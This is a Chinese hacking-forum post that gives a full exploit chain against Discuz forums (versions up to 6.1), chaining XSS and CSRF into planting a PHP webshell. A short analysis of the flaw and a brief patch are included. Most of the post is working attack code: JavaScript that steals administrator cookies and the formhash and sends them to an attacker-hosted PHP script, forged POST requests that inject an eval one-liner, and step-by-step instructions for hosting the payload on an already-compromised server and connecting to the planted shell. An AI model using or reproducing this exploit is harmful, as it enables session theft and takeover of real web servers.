Discuz XSS得webshell7 T" J! m- Q4 l, T- j; X
By racle @tian6.com* b' e: ~: j8 {! f1 \' z3 N
欢迎转帖.但请保留版权信息.
' ^ u" M0 ]7 S! }- I3 r: r受影响版本 iscuz<=6.1.0,gbk+utf+big5
" M' E8 E7 P7 V$ q4 Y1 R% t, S" |4 \8 I+ t5 t
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
9 T) ?, N+ W$ E2 F5 D4 M, V! P. ^* P' @0 o- h
- c s1 g) Y0 v$ ?3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
e2 f% |8 k3 V* J p当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.8 r7 G* K) M" O4 Y. f& N: E4 S
3 I m e8 A$ J& ^3 v分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..7 C9 T* p' q. q, `, k A
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS- ?" d4 J, R; x! F* z+ |7 ]. S
- ~" ^" l+ S, { A% j$ X6 S! N& J3 N# l4 j x
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
7 a" E7 |( _0 V3 S* N& E, ?% `' a! z
% t# }: u4 c( ~# `" ^) _
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.; Y. i8 ^0 P( D2 R
4 ?5 p$ @1 k+ z2 x2 i6 rproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
6 b2 z* Z5 I }5 i
. X: }8 X8 G6 U* ?problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.4 L+ ]/ x* X; T4 x
$ a P$ S* u( S
" W) w+ s9 P7 A, Z& K- {! R下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
; C6 [& N) @+ t6 s7 J/ I7 k- s5 s! j4 ~; F5 E, E# l( ]
global $runwizardfile, $runwizardhistory;6 U; d" z/ y4 Z
: X- s* n0 w) Z2 a9 f- ]5 \
$fp = fopen($runwizardfile, 'w');
) Z8 a- g" m# k0 R! ?. A) Y5 w; T4 Y. _ V8 N' h. f8 w5 E
fwrite($fp, serialize($runwizardhistory));
1 g8 }! D: @/ t
2 h8 S; o, R; j! A# E2 i% i fclose($fp);+ w/ o9 ^) e$ M! y4 L- y
9 {% X5 B, i( K( T# ]* J6 A; F}
) c) P" s4 o* @- S2 f- c! G复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.: F3 ?$ Q* c( b2 F" B- o
以下是修补的办法:function saverunwizardhistory() {
, [5 K, x) L2 H; P0 w
- ]1 V4 ]1 g; h9 Z global $runwizardfile, $runwizardhistory;7 U5 o5 E5 S% L# M
0 w* t* L: U" E; f2 b7 R" C! m $fp = fopen($runwizardfile, 'w');
- q; b- U( B3 a. c/ t+ X
9 `0 v6 o. O4 u& @+ p0 Y1 n( m $s = '<?php exit;?>';. m) u! V* Z# V0 m
( s: S- i! q/ p' Y6 @ $s .= serialize($runwizardhistory);
; J3 {6 c" c9 t% u' M3 q. x, t
4 D! S; \# ]8 l; \) ]6 k; z( u3 x; ^ fwrite($fp, $s);/ q! c) e+ b/ q, Y8 b8 F$ M4 M
: F% Y( v2 j- Y8 U0 l7 f
fclose($fp);
- b( q/ O6 D/ h- ^- _) A( O6 v) M* M; p* Q E) \% r; v2 e$ s6 w
}& j+ e T& D" l8 v0 [ {
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.0 d) L5 J, K; v0 M" ^9 H* N' W! f4 n
0 ^ Z; ~% T( x# I. j8 Q7 b, R
' F! E7 X, d o
" ]% b; G* T8 W, Q, f3 {----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
& w" m$ A5 S) l- j
+ ?% ^. Z* [. A+ {0 k9 ^
( c+ J# q7 ]! v' h: i 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.. m! w0 z( B1 ^ E
, R6 n$ T4 }% H/ E
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
- Z& p9 K7 L; M" g: \* b. c
. `( p4 X+ P( `1 \! W- _ l' @这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.$ ^+ T: f+ [ o) J& E/ r6 O
! D0 g9 M4 @9 T. S4 {/ \首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
# e& B- z* K' ]# L: @* b; W
' E: F. x9 Q2 I3 A. Zvar url="http://目标网站/admincp.php";
' d* o, W: ]) m5 u, g
4 \) D; }, y3 y/*获得cookies*/& e* _8 d( Y# M. x' H7 F5 M% C4 @
2 U X4 m* ~8 |/ J: h
function getURL(s) {
' t) r9 G# X G5 A3 j9 c
8 C, P; c+ y' rvar image = new Image();
9 X9 s) B' q# V
3 A' C8 B( G( z2 uimage.style.width = 0;- H$ z& O' R) K
: N- b# c& _. q9 w( _. }! _% ?
image.style.height = 0;
" W$ A5 Q( n, z3 E7 i& w. U
9 o& u1 x# _# _" Eimage.src = s;0 U" E0 c1 A; Y8 w7 H! t9 Y
9 I! t: v8 O/ J# U F0 R% G}0 o$ C) D$ }2 ~ B- v9 N" v; ^4 ~3 W& x
4 I3 {* r1 F& w' }
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
1 h8 H3 y( q* ]9 ~" ]复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
- ]4 S' v8 m) k; ^& c! t3 a复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
6 N; o" F) P$ ^/ A' L9 `- a& Q' k+ ]3 o6 F
; S s2 H7 v3 I' \获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";, D+ a# }8 @9 X; b6 |4 d+ a6 `
6 y) G v e% G1 A" V8 z7 k
- `% }' s }9 S: v
. M }' l5 _' n0 F/ [7 v* P4 J
/*hash*/
9 X3 C! U9 K; M# x( W
, t3 R' k! t5 v# d$ d$ f. S4 hvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");, y9 T: g: E( A+ ]
6 r1 h8 I4 x9 H' M& V% b' o
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);% P) w1 h- }) s
1 m: g: E6 t" M- D) z
xmlHttpReq.send();1 c! g, Y* W1 p4 }* H; u* m' |" }
$ o' h* _* r% ^8 A7 h+ P- d2 ]- }
var resource = xmlHttpReq.responseText;
- `! k" Y0 B8 x; F0 ]; s3 ^+ O" f% e6 p+ p& ]! S
var numero = resource.search(/formhash/);% a6 V( O( N8 W
3 v! g. \9 N5 H, w' l, i, Xvar formhash=encodeURIComponent(resource.substr(numero+17,8));
& N# e" R* {9 R# |0 m1 g* j: N, F0 h& i6 }; u( |( Z+ Q, ?
& l0 l1 E; s1 O* ^
2 O' H, q% i& k& S. F: V h3 Bvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
3 I" R, ~( X- ~, h6 F$ x+ R5 c$ P
, S% E3 H! V1 l# U; g( R# q4 YxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
8 Q2 z: S _1 |1 z$ W0 G0 |2 M2 t5 L6 W- y) N% x
xmlHttpReq.setRequestHeader("Referer", url);3 Q. m- w: J) M Z, p# @% Y
- F# X& \0 O+ c' s. P
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
( T( C Q; L8 l t2 j
% o; l# f |0 G) N9 CxmlHttpReq.setrequestheader("content-length",post.length);
( I* {3 H8 R! @2 n0 C, D1 `* k5 k- C* u- S1 F
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ; @+ ]4 A. `0 z9 j) D& ]
& K9 C2 B. o6 `; U7 q5 ^* I
xmlHttpReq.send(post);//发送数据
. K% y$ d3 V0 H2 [复制代码这里HASH我假设正确,这样提交,也无须cookies
9 T# O8 q: \2 Z) G& z! ?$ X+ s- }' N# X& j! V
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
& l' d$ j+ z- t* Y* x( U# @/ T# _0 W9 ?) i. K5 |
if (!$sock) die("$errstr ($errno)\n");8 ]7 C8 H/ l3 m
& m( B2 S$ m( v. s
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';3 w7 x% l) A# x7 S6 K
: F$ n* f4 D9 n5 y( S0 }, i
D3 L+ o% j4 c, ^
6 T, S/ c9 m4 ?" { G
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");1 v6 s/ X$ r0 C% m
# e) r a' c! s) X" Dfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
2 _$ M. ?# C" i& I# D
}! w. a6 h* R( f0 s" z( ]fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
9 K. [2 O; v& `1 S4 O* M. t
+ w& I0 @: e$ y6 y1 kfwrite($sock, "Accept-Language: zh-cn\r\n");3 [: d3 k T) T# G; |, q5 A2 y
) u. P. L; K+ V5 h+ w* s5 ` u
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");- m, j. Z% g" K
8 N" B& h6 P2 S" ~8 ~6 E& h" Dfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
* _0 d2 w' Y1 i
& I8 q/ Q7 f. `! ?# Jfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
$ ^4 y% K$ @# H% W( d0 P( o: H z
6 _, T2 e1 p" b0 q% ~5 kfwrite($sock, "Host: $url\r\n");
" c- b, {- }0 D/ ^
$ T3 ^ Y3 X1 ?7 Afwrite($sock, "Content-Length: ".strlen($data)."\r\n");0 @, k3 K) _+ V- |( }/ g
, v9 C4 ? h' ~# Jfwrite($sock, "Connection: Keep-Alive\r\n");) _# g+ C$ n7 S! B0 A# T Z: S
, a$ s6 O" z$ H3 q8 ?- R3 n
fwrite($sock, "Cache-Control: no-cache\r\n");
; `1 J& A9 Y& V8 E: B" m \# t' f2 M! n8 l; Q" z0 `- J
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
' w D' W9 D4 N) |& Q/ B2 h& W: B: x4 m2 Y8 M
fwrite($sock, $data);5 W& R! K6 T9 J/ P8 f2 P
_: m2 L: i' I1 Q, y9 t
9 M$ Q: S8 ?+ g" w8 p8 O9 v& w2 l6 r& Z5 L3 X
$headers = "";
$ S# D$ C. J. b7 w' y1 L/ N- R. G6 z I# q. k0 L- M: o
while ($str = trim(fgets($sock, 4096)))9 T' k4 W, [; m! O8 W2 g
- _5 ~/ D$ m" |9 M6 S* H
$headers .= "$str\n";" C! m# }& J( g4 v
# R; ?- E& n0 o! O, lecho "\n";, z( A" d# G/ E1 h3 k* D
4 g3 k) e! d: c6 i$body = "";8 s5 j! t g4 K. y, Z2 X) K& l* L
' [0 R' j \6 lwhile (!feof($sock)). u' a. f1 F0 Y1 P1 M
, {" R- z3 T6 ?" T* c% ~% ?3 m! I
$body .= fgets($sock, 4096);
3 Z8 W4 w( e; X* ^1 R3 p1 `' `; R3 {; C+ m' B5 d
fclose($sock);
+ H9 Y( @- D2 c5 Z; R/ s
4 S i' F T% j; Gecho $body;0 P0 j* @3 |# P' P0 w0 N1 [
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^" i$ x1 a- i, \8 P B. G1 O
" S9 Z( W+ R; ]- H2 j
0 q; M8 X- J: \-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------* ~0 P! U p9 T4 h4 r% |
o6 I; V5 S5 _8 P$ J; \- f( I- \) d
1 HP SOCKET利用方法首先打开racle.js; l" K0 l t5 K' h5 y' i; j9 u( C
" J2 P/ g9 o2 s8 @. i% q3 Avar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home7 w% B# E: m+ J" W8 k. B
$ O$ K" Q: @! T4 O' E& E& R) i9 `
. P* E4 y- V3 t2 v: F# J
/ l7 L) ]6 w8 c然后打开racle@tian6.php
6 }8 ~+ B9 z' z- t3 f( r: v
" {) q& y% m$ |4 f0 N# z% E$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
8 N* Q( O/ s: f B- n$ X9 w1 b7 R7 h. Y) I" c8 ^& R5 [* C
& S3 Y3 y8 Y9 T) y
0 `' w6 z4 w5 |* V如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:- T% w6 E3 o! z# c: l% l
7 s- l9 ?* z& r5 tgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));* W: D2 s3 M1 `+ j" ^
: _ K; D1 Q) H, G9 u0 q
为
! G! F' s: c; ~% [/ O$ o; r
( t3 z6 ?- i/ ?; O ggetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));: G# a6 {& E+ ?3 B/ _3 {8 E6 q5 k& L
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.9 C1 `) _; Y7 ] j- ] ?7 t+ ~
5 _$ g( m7 t: S7 Z/ f, ]! _' y1 ^. p8 p" Q* H
- a8 s) k6 I2 @8 l& R+ M2 x( I9 a
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- o* A! V) y1 i; u( Q( ^
' y7 @2 v( K& `0 N& U7 z# W$ Lvar formhash=encodeURIComponent(resource.substr(numero+17,8));/ Y1 y8 p7 m- O8 m/ [
, u- d `5 I# h6 I- w1 [; t o为2 N% j+ l+ m0 W* g7 w4 R
* o3 S# b& o: L: l; h/ |var formhash=encodeURIComponent(resource.substr(numero+9,8));
( w. M1 k# f& F/ i: k! ?复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
# T) ]0 @) A4 M/ x: }3 {* B/ E! G+ `% L
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.5 t; g, M4 T3 u/ |( N0 |) }6 c
& ^# y1 N; F: o4 u
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点., f" Z# i W k( N
0 _0 V2 Y) `- h3 t' z5 Z; K不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
* A, z9 w- @* Z$ n- ?& @
; H$ e! R+ C6 _7 V+ n2 I |